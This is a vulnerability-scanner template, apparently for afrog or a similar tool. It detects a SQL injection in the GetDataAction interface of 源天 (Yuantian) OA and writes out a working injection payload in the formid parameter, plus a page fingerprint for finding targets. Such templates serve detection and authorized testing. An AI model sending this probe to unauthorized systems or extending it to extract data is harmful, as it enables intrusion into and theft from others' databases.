yuantian-oa-getdata-action-sql-injection: 源天OA GetDataAction SQL注入漏洞

id: yuantian-oa-getdata-action-sql-injection

info:
  name: 源天OA GetDataAction SQL注入漏洞
  author: zan8in
  severity: high
  description: |
    源天OA GetDataAction 接口存在SQL注入漏洞，攻击者通过漏洞可以获取服务器数据库中的数据，造成信息泄漏
    body="/vmain/login.jsp"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E6%BA%90%E5%A4%A9OA/%E6%BA%90%E5%A4%A9OA%20GetDataAction%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /ServiceAction/ServiceAction/com.velcro.base.GetDataAction?action=checkname&formid=-1%27%20OR%207063%20IN%20(SELECT%20(sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271%27))))%20AND%20%27a%27=%27a
    expression: response.status == 500 && response.body.bcontains(b"'0xc4ca4238a0b923820dcc509a6f75849b'")
expression: r0()